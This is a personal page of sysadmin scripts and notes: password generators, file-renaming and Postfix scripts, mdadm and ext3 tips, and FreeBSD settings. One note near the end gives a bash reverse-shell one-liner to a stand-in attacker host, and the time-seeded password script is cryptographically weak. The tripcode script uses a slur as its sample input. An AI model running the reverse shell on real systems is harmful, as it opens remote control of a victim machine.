[nxdomain.nl]

connected via ipv4 from 38.107.191.102

Script Stuff

rotatepass.py
Generates a random password based on the current time and your master password (works on both windows and linux, version 2.4 and 3.0 python)

#!/usr/bin/env python
import random,getpass,time
sd=0;mo=int(time.time()/2592000)
for ch in getpass.getpass("#"):sd=(sd<<2)+ord(ch)
for bk in range(5):
 random.seed(sd+mo-bk);pw=''
 while len(pw)<21:pw+=chr(random.randint(33,127))
 print mo-bk,pw

simplepass.py
Crank out a simple 20 char long password randomly with only letters and numbers.

#!/usr/bin/env python
import random,string
product=''
while len(product)<21:
 product+=random.choice(string.ascii_letters+string.digits)
print(product)

tripcode.py
Calculate a tripcode (such as used by 4chan and other imageboards).

#!/usr/bin/env python
import string, re, crypt
plain = "faggot"
preg = re.compile('/[^.\/0-9:;<=>?@A-Z\[\\\]\^_`a-z]/')
transtbl = string.maketrans(":;<=>?@[\]^_`","ABCDEFGabcdef")
plain = unicode(plain).encode('SJIS')
salt = preg.sub('.',((plain+"H..")[1:3])).translate(transtbl)
tripcode = crypt.crypt(plain, salt)[-10:]
print (plain,tripcode)

revrange.py
Walk through a list in reverse in order to safely delete items if they meet a condition without dangerous condition for iterator position and array size. As long as you delete one item at the time.

def revrange(length):
  return range(length-1, -1, -1)

for i in revrange(len(itemlist)):
  if condition: del itemlist[i]

reext.sh
Renames all files to md5 hashes and give then extentions according to 'file'

#!/bin/bash
filename=`md5 $1 | awk '{print $4}'`
ext=`file $1 | awk '{print $2}'`
mv $1 $filename.$ext

faculty.sh
Recursive script to call itself to calculate the faculty of a parameter

#!/bin/sh
if [ $1 -ge 1 ]; then
  echo $(($1 * `$0 $(($1 - 1))`))
else
  echo 1
fi

2lower.sh
Script to put all files in lower case

for i in $1; do
   NEW="$(echo "$i" | tr [A-Z] [a-z])"
   [ "$i" != "$NEW" ] &&  mv "$i" "~$NEW" && mv "~$NEW" "$NEW" || :
done

postdelete.sh
Script to delete all mails from $sender in postfix queue

#!/bin/sh
if [ $# -ge 1 ]; then
  echo "* Deleting all mails from $1"
  QUEUE=`mailq | grep "$1" | sed -e 's/\([0-9A-F]*\).*/\1/'`
  COUNT=0; for i in $QUEUE; do COUNT=$(($COUNT+1)); done
  echo "* Total of $COUNT mails in queue"
  echo -n "* Deleting ["
  for i in $QUEUE; do postsuper -d $i 2> /dev/null && echo -n "+"; done
  echo "] done"
else
  echo $0 requires sender to delete mails
fi

Scribbles:

Clear /etc/issue || .logout
Just do

:~$ sudo clear >> /etc/issue
Purge remove .deb packages
:~$ dpkg -l | awk '/^rc/ {print $2}' | xargs sudo dpkg --purge
Re-enable icons in menus en buttons for Gnome
gconftool -s --type boolean /desktop/gnome/interface/menus_have_icons true
gconftool -s --type boolean /desktop/gnome/interface/buttons_have_icons true

Known mdadm growing pains:
When using mdadm 2.6.3 (Ubuntu 8.04 LTS), it can fail to come back when rebooting during a --grow (reshape) action and come up with the message:

:~$ sudo mdadm -A /dev/md0 --scan
mdadm: Failed to restore critical section for reshape, sorry.

Don't worry! Although the error may give you chestpains, just use the 8.10 live CD to boot and install mdadm 2.6.4 (aptitude update && aptitude install mdadm). It will be able to continue reshape your array!

Resizing ext3
When resizing an ext3 partition, make sure to use resize2fs from e2fsprogs.
Be sure to run an fsck before hand, just to make sure you're not growing a corrupted filesystem.

:~$ sudo fsck.ext3 -p -f /dev/md/0
:~$ sudo resize2fs /dev/md/0

Array Rebuilding 1st Sunday of the month?
On Debian/Ubuntu systems, mdadm has a cronjob which runs a consistency check on the first Sunday of the month. The kernel sees this as an array rebuild. However, this is nothing to worry about as you can read in this blog post about arrays spontaniously rebuilding.

FreeBSD make.conf
When doing a 'make update' and a 'make kernel/world'. It's useful to have the following in your make.conf.

SUP_UPDATE=     yes
SUP=            /usr/local/bin/cvsup
SUPFLAGS=       -g -L 2
SUPHOST=        cvsup.nl.freebsd.org
SUPFILE=        /root/cvsup/stable-supfile
PORTSSUPFILE=   /root/cvsup/ports-supfile
KERNCONF=       GENERIC

Aligning Partitions
http://thunk.org/tytso/blog/2009/02/20/aligning-filesystems-to-an-ssds-erase-block-size/

Linux CPU Flags
vmx :  Intel VT support
svm :  AMD-V support
lm  :  64 bit support
Setting a custom message in HP printers
:~$ echo @PJL RDYMSG DISPLAY=$MESSAGE | nc -q 0 printer.localdomain 9100
Generate 100% CPU load on 1 core
:~$ while true; do true; done &

Encode for Cisco CallManager
sounds can not be longer than 2 seconds.

:~$ ffmpeg -i sound.mp3 -ar 8000 -ac 1 -t 2 -acodec pcm_mulaw sound.au && mv sound.au sound.raw
Start reverse shell with only bash
# On attackers machine listen on port 5055
:~$ nc -l -p 5055
# On victim's machine where example.com is attacker.
:~# bash -i >& /dev/tcp/example.com/5055 0>&1

Contact Information